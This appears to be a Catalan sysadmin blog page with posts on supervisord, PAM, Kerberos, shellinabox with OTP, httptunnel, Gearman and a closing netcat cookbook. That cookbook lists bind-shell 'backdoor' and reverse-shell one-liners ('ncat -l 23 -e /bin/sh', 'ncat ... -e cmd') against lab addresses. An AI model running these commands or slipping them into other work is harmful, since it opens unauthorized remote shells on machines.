Category: Networking and Internet

supervisord – hang on to your processes

Reading time: 3 – 4 minutes

supervisord logoSempre he estat un gran defensor del monit com a complement al sistema de control de serveis de Linux: rc.d scripts. Monit permet a través d’una interficie de gestió web controlar i delegar a usuaris sense coneixements de Linux el control bàsic dels serveis d’una màquina. Per tal de supervisar si un servei esta corrent es basa en el PID del procés i la seva existència, cosa que la veritat en molts casos és una mica pobre. Però té una gran capacitat de poder configurar accions en base a carregues de memòria, CPU, etc.

Supervisord és un software que en certa forma ens dona una solució integrada i força més eficient en alguns aspectes que no pas monit+rc.d, per exemple, la vigilància dels processos és molt més efectiva que no pas amb monit perquè aquests es llencen com a fills del supervisord. Això li permet al pare poder comprovar si realment el fill és viu o no. A més, quan un fill mor el pare ràpidament ho sap i pot reiniciar-lo si és això el que volem. Mentre que monit per fer això el que fa és un procés de polling cada x’s segons preguntant l’estat dels processos.

Monit disposa d’interficie web i control via CLI del sistema, al igual que supervisord. Malgrat monit mostra algunes informacions sobre càrrega del sistema que no és capaç de mostrar supervisord. Per altre banda supervisord al llençar els processos ell de forma nativa permet redirigir les sortides d’aquests (stdout, stderr, etc).

Fora d’aquestes petites avantatges que he comentat fins ara de monit sobre supervisord, per la resta de coses podriem dir que supervisord li dona mil voltes a monit, començant pel concepte. Així doncs, a partir d’ara en l’article em centraré en explicar les funcionalitats que té sense comprar-les:

  • http server gestió dels processos via web
  • supervisorctl gestió via CLI, és una interficie interactiva de gestió no la propia CLI del sistema.
  • program permet parametritzar el llençament i control d’un servei amb directori de treball, umask, prioritat, autostart, autorestart, retries, usuari, redirecció de les sortides estàndard i error cap a fitxers de configuració, variables d’entorn, etc.
  • group es poden agrupar els serveis per tal de tractar-los com a una unitat.
  • fcgi interface permet controlar grups de serveis llençats via FastCGI. Evitant que aquesta tasca la faci, per exemple, Apache i oferint una gestió de concurrència molt més eficient.
  • events es defineixen un conjunt d’events a partir dels quals podem definir una serie d’scripts per capturar-los i donar un tractament del mateix de forma controlada. Per exemple, l’estat d’un procés canvia i volem que quan això passi es reinici el mateix procés.
  • rpcinterface també disposa d’una interficie XML-RPC a través de la qual podem connectar-hi aplicacions de tercers. Per exemple, una aplicació pot connectar via RPC per saber si un servei esta funcionant.

Properament he de fer la migració d’uns sistemes, així doncs, si no hi ha cap novetat usaré supervisord per controlar HAProxy, keepalived, entre d’altres moltes eines. Espero poder-ho anar documentant poc a poc.

PAM (Pluggable Authentication Modules)

Reading time: 2 – 2 minutes

Amb les quatre notes que adjunto en aquest article es preten tenir una guia per tal de poder seguir i entendre els fitxers de configuració associats a PAM.

Quan PAM va associat a un servei aquest té un fitxer de configuració dins de /etc/pam.d sovint amb el mateix nom del servei o quelcom que ens el recorda. Dins de cada fitxer d’aquests es defineixen quatre categories pel procés d’autenticació:

  • auth – autenticació
  • account – gestió d’accés
  • password – quan i com es pot canviar la paraula de pas
  • session – entorn de configuració de l’usuari, accés al seu perfil

No és obligatori definir les quatre categories per tots els serveis, hi ha serveis que amb la categoria auth, en tenen prou. O d’altres que les requereixen totes.
PAM té una selecció de diferents models per cada categoria que s’organitzen en una pila. Cada mòdul esta etiquetat amb el que s’anomena una bandera de control. A través d’aquestes eines és com l’administrador controla el procés d’autenticació dels usuaris sobre els serveis.

Les banderes de control suportades per PAM són:

  • required
  • requisite
  • sufficient
  • optional

Si un mòdul marcat amb required, requisite o sufficient respon de forma negativa es deté l’execusió de la pila de forma inmediata.
Si la resposta és positiva en un mòdul: required, requisite o optional llavors PAM seguirà examinant la resta de mòduls.
Si un mòdul sufficient respon positivament es considera positiva la resposta a tota la categoria que s’esta examinant.

Quins processos consumeixen més SWAP en un linux?

Reading time: < 1 minute Tan senzill com llençar un top i un cop dins l’interficie premer O (majúscula) i seguidament p, amb un intro tornem a la pantalla del top i apareix una nova columna anomenada SWAP que ens diu quantes pàgines de memòria consumeix un procés, a més la llista de processos que es poden veure estan ordenats per ordre descendent segons el que més memòria SWAP ocupa.

Aprofitant l’article adjunto una referència interessant: Controlling your linux processes via linux.com.

Shellinabox i OTP (One Time Password)

Reading time: 40 – 67 minutes

A vegades cal poder accedir a la shell d’un servidor però no es disposa de cap client SSH ni res semblant, o fins hi tot hi ha casos en que només si pot accedir a través de proxy usant HTTP, ni tan sols es disposa d’HTTPs. Per aquests casos el que he fet és montar el següent:

Un shellinabox que és un dimoni que publica una shell a través d’HTTP, de forma que es pot usar el navegador com a client. A diferència d’altres solucions aquesta esta implementada aprofitant AJAX i no li cal suport de flash, java o d’altres tecnologies similars. Si no l’heu provat, feu-ho perquè és impressionant el bé que arriba a funcionar.

Bé doncs, gràcies al dimoni de shellinabox ja podriem publicar al port 80 la pantalla de login del nostre servidor, però en el meu cas al port 80 hi tinc l’Apache funcionant, així doncs, el que he fet és montar un proxy invers aprofitant les funcionalitats d’Apache, de forma que quan em connecto a un subdomini concret l’Apache redirecciona la meva connexió HTTP al servidor de shellinabox.

Al usar aquest client que funciona sobre un protocol sense xifrar tothom podria aconseguir de forma senzilla l’usuari i password que uso per accedir a la shell. Per tal de solucionar aquest problema el que he fet és instal·lar com a mètode d’autenticació al PAM del servidor suport OTP.

O sigui, que quan l’usuari fa login per qualsevol servei que usi el sistema d’autenticació ‘common-auth’ del PAM aquest podrà fer-ho amb el password del sistema o bé amb un password d’un sol ús. Això em garanteix que després de que jo m’hagi autenticat a la shell amb un password ningú més ho podrà fer amb aquell password.

Esquema de la idea

Configuració d’apache, proxy invers

Primer de tot cal activar el modul ‘proxy’ de l’Apache:

a2enmod proxy

Després creem un subdomini i re-enviem el tràfic cap al servidor de shellinabox:

    
<VirtualHost *:80>
    ServerName elteusubdomini.exmaple.tld

    ProxyRequests Off
    ProxyPreserveHost On
    ProxyPass / http://127.0.0.1:4200/
    ProxyPassReverse / http://127.0.0.1:4200/

    LogFormat "%h %l %u %t \"%r\" %>s %B \"%{Referer}i\" \"%{User-Agent}i\" %D" common
    CustomLog /var/log/apache2/elteusubdomini.exmaple.tld.access.log common
    ErrorLog  /var/log/apache2/elteusubdomini.exmaple.tld.error.log
    LogLevel  warn
</VirtualHost>

Després d’això ja podeu reiniciar l’apache, recordeu a crear la corresponent entrada al DNS.

Paràmetres que uso pel shellinabox

Malgrat el manual del shellinabox esta plè d’opcions molt interessants en el meu cas amb els següents paràmetres n’he tingut prou:

/opt/shellinabox/bin/shellinaboxd --no-beep -t -b
  • –no-beep no vull que emeti ‘beeps’, proveu-ho sense això a mi em van fotre un ensurt que encara tremolo
  • -t per deshabilitar l’SSL que s’activa per defecte
  • -b es llença en background

Configuració d’OTP al PAM del linux

El suport OTP que he afegit al PAM és molt limitat i bàsic, ja que no volia afegir més complexitat al sistema, o sigui, que per controlar els usuaris que poden accedir via OTP he usat un simple fitxer de text pla i per validar l’autenticació em recolzo amb el pam_script que és un mòdul de PAM que permet llençar un script arbitrari per validar l’autenticació.

Potser una de les formes més recomanables si voleu usar OTP en un servidor més professional que el que jo he usat seria fer-ho a través de RADIUS, o bé, usant MOAS el qual ofereix una interficie web feta amb PHP i backend MySQL per mantenir una taula d’usuaris i d’altres detalls de configuració.

Tornant al cas que ens ocupa, la configuració de PAM que he usat és tan senzilla com:

# fitxer: /etc/pam.d/common-auth
...
auth    sufficient      pam_script.so onerr=fail dir=/etc/pam-script.d/

auth    sufficient      pam_unix.so nullok_secure try_first_pass
...

La primera línia afegeix suport de pam_script per l’autenticació, a més de posar-hi dos paràmetres que indiquen que si aquesta falla fallarà l’autenticació i també indica a quin directori s’ha d’anar a buscar l’script d’autenticació. Aquí és on es provarà si s’ha introduït un password OTP.

La segona línia és estàndard en l’ubuntu on he fet la configuració, excepte l’últim paràmetre try_first_pass que diu que torni a provar el password que s’ha introduït en el pas anterior, així no l’hem de re-introduïr per validar si el password intruït és un password de sistema.

Ambdues línies usen la ‘flag’ sufficient, o sigui que si algún dambdós es compleix serà suficient per validar positivament l’autenticació.

El pam_script és un mòdul de PAM que al instal·lar-lo ens ha creat la carpeta /etc/pam-script.d amb uns quants fitxers al seu interior. Aquí l’únic que haurem de fer és borrar l’enllaç simbòlic anomenat: /etc/pam-script.d/pam_script_auth. Ja que per defecte aquest apunta a /etc/pam-script.d/pam_script i nosaltres no volem usar l’script per defecte sinó el nostre propi script, o sigui, el que fa la validació OTP.

L’script que fa la validació l’he modificat una miqueta respecte l’script per defecte i l’he col·locat a: /opt/otp/otp-auth. Ara ja podem refer l’enllaç simbòlic que haviem borrat abans:

ln -s /etc/pam-script.d/pam_script_auth /opt/otp/otp-auth

En el directori /opt/otp/ cal que tinguem també:

  • otp-auth – script que fa la validació, fet amb Perl i amb alguna dependència
  • otp-secrets – fitxer de configuració dels usuaris que poden usar OTP
  • cache/ – directori necessari per guardar-hi claus de forma temporal

El fitxer de configuració del /opt/otp/otp-auth el /opt/otp/otp-secrets té aquest pinta:

%users =
(
        username =>
        {
                secret => 'codi_secret_compartit_amb_eina_client',
                pin => ping_acces_eina_client,
                offset => 0,
        },
        anotheruser =>
        {
                secret => 'ZZZZZZZZZZZZZZZZ',
                pin =>  IIII,
                offset => 0,
        },
);
1;

En el meu cas, el secret l’he generat amb l’eina client que m’he instal·lat al mòbil (Android). El pin simplement ús el podeu inventar i és necessari introduir-lo al client que genera les claus.

Client OTP per Android

El client que he usat per Android és el Mobile-OTP, quan l’executeu per primera vegada ús guiarà perquè genereu un secret i un pin quan els tingueu els heu de posar al fitxer de configuració /opt/otp/otp-secrets.

Procés d’ús

Anem a un navegador qualsevol connectat a internet, accedim al subdomini que hem definit i ens surt una pantalla de login, introduïm l’usuari i ens demana el password.

Ara agafem el mòbil i obrim l’aplicació Mobile-OTP, posem el codi PIN i premem el botó ‘Calculate OTP’ inmediatament després ens surt un codi amb números i lletres i una longitud de 6 caràcters, introduïm aquest codi com a password de la nostre compte i ja som dins.

Recordeu que aquest codi és vàlid durant uns 2 minuts aproximadament, després l’haureu de tornar a generar. Aquest codi també deixa de ser vàlid en el moment en que ja l’heu usat un cop, o sigui, que si voleu fer dos logins seguits haureu de generar dos codis.

També es pot usar OTP amb altres serveis

Recordeu que al configurar el sistema d’autenticació OTP al PAM ho he fet a l’arxiu ‘common-auth’, això vol dir que qualsevol servei de la màquina que usi aquest fitxer d’autenticació (la majoria ho fan: SSH, POP3, IMAP, etc) suportarà el sistema d’autenticació OTP.

Així doncs, si feu un SSH dels de tota la vida cap a la vostre màquina però no voleu que ningú sàpigue el vostre password només mirant com escriuen els vostres dits podeu aprofitar aquest sistema.

Referències

Podcast 2×06: Com funciona Kerberos? autenticació i autorització (AA)

Reading time: 4 – 6 minutes

El podcast

[display_podcast]

Notes

Estàndard RFC1510 per l’autenticació, destaquen les funcionalitats de:

  • autenticació mutua
  • temps de connexió ràpids (session tickets)
  • delegació (autenticació recursiva entre serveis)

Esquemes

Simplifiació del funcionament

Hi ha 6 tipus de missatges (5 obligatoris + 1 opcional), agrupats en 3 su-protocols:

  • AS (Authentication Service) – es produeix durant el procés de “login” i li permet al client poder demanar un ticket per accedir als recursos (TGT)
    • KRB_AS_REP
      • Client principal name.
      • Timestamp.
      • Kerberos target principle name (realm).
      • Requested lifetime.
    • KRB_AS_REP
      • La primera part va xifrada usant la clau d’usuari, conté:
        • User-TGS key (generated by the KDC).
        • Kerberos target principle name (realm).
        • Ticket lifetime.
      • La segona part és el TGT, va xifrat usant la clau TGS generada pel KDC només els servidor la poden obrir, malgrat això s’enmagatzema en el client i conté:
        • Client principal name.
        • Ticket lifetime.
        • KDC timestamp.
        • User-TGS key (which is not retained by the KDC, but its presence within the TGT means it is available when required).
        • Client IP address (taken from the initial KRB_AS_REQ).
  • TGS (Ticket Granting Service) – a través del TGT el client poy demanar un “service ticket” (ST) necessari per poder accedir a un servei. El TGT té un funcionament semblant al d’un password (expira amb el temps i no requereix password), el ST obtingut seria semblant a un visat d’accés a un país.
    • KRB_TGS_REQ
      • Service principal name.
      • Requested lifetime.
      • TGT (still encrypted with the TGS key).
      • Authenticator (encrypted with the user-TGS key and containing a client timestamp) – The authenticator guarantees that the request originated from the client.
    • KRB_TGS_REP
      • La primera part va xifrada amb la clau TGS de l’usuari (el KDC l’extreu del TGT) i conté:
        • Service principal name.
        • Ticket lifetime.
        • User service key (encrypted with a user-TGS session key, generated by the KDC).
      • Part dos, és el “service ticket” (ST). Xifrat usant la clau del servei TGS. Conté:
        • User service key (encrypted with a user-TGS session key, generated by the KDC).
        • Client principal name.
        • Ticket lifetime.
        • KDC timestamp.
        • Client IP address.
  • Client/Server (AP) Exchange – per accedir a un servei el client envia al servei un KRB_AP_REQ amb el ST obtingut. El servei pot o no contestar la petició, a vegades, el servei directament comença la seva sessió.
    • KRB_AP_REQ
      • ST xifrat amb la clau TGS del servei
      • Authenticator – encrypted with the user service key
    • KRB_AP_REP

Característiques

  • Realm‘ es defineix com un domini d’aministració
  • Tots els servidors i participants en les transaccions pertanyen al mateix ‘Realm’
  • Tots els missatges viatgen xifrats usant un codi simètric (no-PKI)
  • La “user key” es genera a partir del “logon password”
  • La “host key” es genera quan el “host” s’uneix al ‘Realm’
  • Si un client vol accedir a un servei i no ha fet el TGS pot enviar el TGT en el “AP exchange” i el servei farà la gestió amb el KDC de forma transparent.
  • Important recordar que:
  • només el KDC pot llegir el TGT
  • només el servei pot llegir el ST

Glossari d’acrònims

  • KDC: Key Distribution Center
  • AS: Authentication Service
  • TGS: Ticket Granting Service
  • SS: Service Server

Referències:

Error coneguts

  • Degut a un error el podcast 2×05 no exiteix. Sento l’error!

Notes sobre Munin i Crontab, problemes amb locales

Reading time: 1 – 2 minutes

muninResum de notes interessants que acabo de descobrir sobre: munin, crontab i locales. Tot plegat corrent amb Ubuntu.

  • crontab, té diversos fitxers de configuració a /etc/cron.d la sintaxis d’aquests és la mateixa que /etc/crontab
  • els fitxers que hi ha a /etc/cron.d sovint pertanyen a serveis que necessiten executar ordres periódicament
  • al llençar munin des de dintre d’aquest directori es generaben correus d’error del crontab, queixant-se de problemes amb les locales
  • dins el fitxer /etc/cron.d/munin podem declarar les locales i així no se’ns tornarà a donar el problema
  • si volem sobrecarregar on s’han d’enviar els correu d’error de cron en un dels fitxers que hi ha /etc/cron.d podem declarar la variable MAILTO=user@domain.tld dins el propi fitxer

My Workspace

Reading time: 2 – 2 minutes

Aquest és el meu entorn de treball a dia d’avui, de fet, he volgut mostrar-lo perquè volia provar de fer una petita integració entre jquery-notes i wordpress. Ja que jo diria que malgrat aquesta funcionalitat és típica de flickr quan s’exporten imatges des d’aquest sistema al nostre blog les notes de la imatge es perden. Així doncs, he pensat que era una bona idea tenir el meu propi sistema de posar notes a les imatges.
La cosa ha estat senzilla només:

  • he creat un directori al servidor del blog on he posat el jquery-notes, jquery-ui i jquery he posat els permisos corresponents als directoris.
  • he modificat les headers del wordpress perquè incloguin el codi de jquery-notes, jquery-ui i jquery. A més del CSS propi del jquery-notes i un petit script per declarar el comportament de jquery sobre la classe “jquery-note”.
  • després al crear un article amb la imatge i afegir-li la classe “jquery-note” automàticament s’afegeixen les notes que li he posat a la imatge.
  • per posar-li notes a les imatges calen els paràmetres corresponents al script afegit a les headers del wordpress.

UPDATE: casualment avui al blog: freelance switch han pubilcat un article amb diversos workspaces.

httptunnel: TCP sobre HTTP

Reading time: 7 – 11 minutes
HTTPtunnel logo

Amb httptunnel es poden establir connexions TCP sobre un enllaç HTTP, és a dir, disposem de dues eines el htc i el hts, escencialment el que fa és:

  • hts: publica un port simulant un servidor HTTP al conectar-hi amb htc ens enviarà cap al HOST:PORT configurats
  • htc: es conecta a hts usant HTTP i simulant un client HTTP normal (ffx, crhome, ie, etc) però en realitat transporta paquets TCP en el payload de les queries, l’usuari pot conectar-se a un port local que es publica i que permet accedir al HOST:PORT al que ha conectat hts de forma transparent

Per fer una prova de concepte jo el que he fet és conectar el hts amb un servidor VNC, al costat del htc he connectat un client VNC i he accedit al VNC de forma totalment transparent, a més amb un sniffer he comprovat que els paquets que passeben per la xarxa eren paquets HTTP estàndards, i així era. Tan senzill com això:

server:
./hts -w -F 127.0.0.1:5900 1080

client:
./htc -F 2300 server:1080
vinagre localhost:2300

A més també suporta la possibilitat de fer-ho a través d’un proxy, això si aquest només esta suportat si és sense autenticació o amb autenticació bàsica. Així doncs, a partir d’això em venen al cap algunes millores interessants:

  • suportar autenticació Digest i NTLM.
  • permetre accés al tunel via stdin/stdout (així ho podriem usar amb SSH com a ProxyCommand).
  • poder connectar-se a un segon proxy en l’extrem remot, és a dir, hts no té l’enllaç pre-establert.
  • suportar SSL, així ens estalbiariem haver d’usar stunnel per simular HTTPs.

Somiant amb una extenció pel Gearman

Reading time: 5 – 8 minutes

Cal dir que no sóc massa ordenat al presentar noves tecnologies ja que primer de tot vaig fer un bechmark sobre Gearman abans de fer-ne una introducció, doncs bé com que en aquest article vull parlar sobre unes possibles extensions sobre les que vull treballar amb Gearman primer de tot faré una petit introducció al projecte.

Introducció

Gearman és el que comunment anomenem un servidor de tasques, o sigui, que quan el nostre codi ha de demanar una tasca, funcionalitat, treball, o quelcom similar és molt interessant de cara a:

  • l’escalavilitat: podem tenir tants servidors i/o processos consumint tasques com ens interessi.
  • paral·lelisme: les tasques es poden consumir paral·lelament.
  • balanceix de càrrega: podem fer map/reduce sobre les tasques i enviar-les als servidors que ens interessis per distribuir la càrrega.
  • independència entre lleguatges: el codi que demana la tasca i el que consumeix la tasca poden ser totalment diferents, les llibreries que té Gearman són: PHP, Pearl, Ruby, C, Python, etc.
  • interficie HTTP: a més disposa d’una interficie client HTTP que ens permetra injectar tasques desde llenguatges no suportats des de les llibreries de Gearman.

usar un servidor d’aquest tipus, ja que a més de permetrens demanar tasques síncrones, també podem demanar-li tasques asíncrones. O sigui, que no només no sabem qui ens esta fent la feina limitant-nos a rebre’n el resultat sinó que també podem demanar que aquesta feina es faci quan es pugui.

Per si tot això no fos poc encara hi ha més avantatges:

  • Open Source
  • Programat en C
  • Petit i molt ràpid
  • Suporta diversos backends: RAM, SQLite, Memcached, Tokyo Cabinet, etc.

gearman stack

La gent que va començar a implementar Gearman, van ser els de Danga Interactive famosos per LiveJournal i SixApart.

Les meves idees

Després d’aquesta introducció, ara ja puc parlar de les coses que voldria que fes Gearman però que no fa. Primer de tot he de parlar de les avantatges que tindria si pogués tenir un backend contra Redis. El que persegueixo al connectar Redis amb Gearman és aconseguir:

  • persistència de tasques malgrat es reiniciï Gearman
  • persistència de tasques en disc malgrat es reinciï Redis, gràcies a:
    • l’escriptura asíncrona a disc
    • bgrewriteaof: evita que per l’escriptura asíncrona d’informació es perdin dades al reinciar bruscament Redis
  • publicar a un canal PubSub de Redis els canvis que es fan sobre una tasca que s’ha enviat a ‘background’

Integració amb Redis

Es tracata de fer el mateix que s’ha per integrar backend de tokyo cabinet: queue_libtokyocabinet.c el problema d’usar tokyo cabinet contra disc és la pèrdua brutal de rendiment respecte a usar-lo contra RAM, ja que les escriptures es fan de forma síncrona.

A nivell de codi les semblances més grans són amb: queue_libmemcached.c, malgrat el problema que té aquesta implementació és que cada cop que reiniciem memcached no tenim persistència de la informació que s’havia guardat en memcached, és com si les claus que s’han intrudit en l’anterior sessió s’haguessin esborrat. A més memcached no suporta persistència en les seves dades tampoc.

Així doncs, el que cal fer és agafar el millor d’amdues integracions i fer el mòdul amb Redis.

Subscripció a les actualitzacions d’una tasca via Redis

Quan s’envia una tasca en segon pla a Gearman aquest ens retorna un ‘Handler’ per poder preguntar sobre l’estat de la tasca, el problema és que si volem saber com evoluciona la tasca o que ens informi quan ha acabat no hi ha manera de saber-ho si no és fent ‘pooling’. Per altre banda, el ‘worker’ va actualitzant la tasca cada quan creu convenien perquè Gearman pugui saber quin és l’estat de la mateixa.

La meva idea és que al usar el backend de Redis, al mateix moment que s’actualitzi l’estat de la tasca també es publiqui (publish) a un canal PubSub de Redis de forma que el codi que ha enviat la tasca pugui subscriures (subscribe) a aquest canal i en temps real i amb un cost de recursos baixíssim es pugui seguir l’estat de la tasca. Això ens evitaria la necessitat de que Gearman hagués de poder cridar un mètode de callback per informar-nos de l’estat de la mateixa, ja que hi ha alguns llenguatges en que fer això no és tan senzill.

En el gràfic que enganxo a continuació podem veure un esquema que he fet sobre això:

esquema idees de Gearman amb Redis

1) el nostre codi envia una tasca en ‘background’ (segon pla) a Gearman i aquest li torna un ‘Handler’ per identificar la tasca.

2) es guarda la tasca a Redis (set)

3) el nostre codi es subscriu al canal PubSub de la tasca

4) un worker demana la tasca

5) es publica l’estat de la tasca

6) es va actualitzant l’estat de la tasca

7) es van repetint els punts (5) i (6) fins acabar la tasca

Feedback

Com sempre s’accepten tota mena de crítiques i idees sobre la meva ‘paranoia’.

netcat – cookbook

Reading time: 72 – 119 minutes
  • client TCP, en aquest cas HTTP
C:\client>ncat google.com 80
GET / HTTP/1.1
  • client telnet:
C:\client>ncat -t 192.168.1.1 23
  • simula un servidor TCP/HTTP molt simple:
C:\server>ncat -l 127.0.0.1 80 < stuff.txt
C:\client>ncat localhost 80

C:\server>ncat -l --keep-open 80 < stuff.txt
C:\client>ncat localhost 80
  • servidor UDP:
C:\server>ncat -l 74 --udp
C:\client>ncat --udp localhost 74 < stuff.txt
  • es pot especificar el port i IP origen a usar:
C:\client>ncat www.irongeek.com 80 -p 80 -s 127.0.0.1
C:\client>ncat www.irongeek.com 80 -p 80 -s 192.168.1.1
  • interconnecta clients, ‘proxy-tcp’
C:\server>ncat -l 74
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74

C:\server>ncat -l 74 --broker
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74
  • servidor de ‘chat’ molt simple
C:\server>ncat -l 74 --chat
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74
  • client TCP+SSL:
C:\client>ncat gmail.google.com 443 --ssl
GET / HTTP/1.1
  • transmissió de fitxers via TCP+SSL:
C:\server>ncat.exe -l --ssl 74 --send-only < ncat.exe
C:\client>ncat localhost 74 --ssl > out2.exe
(ends self)

C:\client>ncat --ssl -vvv -l > newfile
C:\server>ncat -v --send-only --ssl localhost < ncat.exe
(Good for getting around NAT)
  • proxy molt simple:
C:\ncat>ncat -l 8080 --proxy-type http --proxy-auth adc:test --ssl
  • shell amb backdoor:
    • Linux:
ncat -l 23 -e /bin/sh
C:\server>ncat 192.168.159.128 23
    • Windows:
C:\server>ncat -l 23 -e cmd
ncat 192.168.159.129 23
  • Reverse Shell (aka: Shovel Shell)
C:\server>ncat -l 74
C:\client>ncat 192.168.159.128 74 -e cmd
  • netcat relay
C:\ncat>ncat -l localhost 80 --sh-exec "ncat google.com 80 -o text.txt -x hex.txt"
Scroll to Top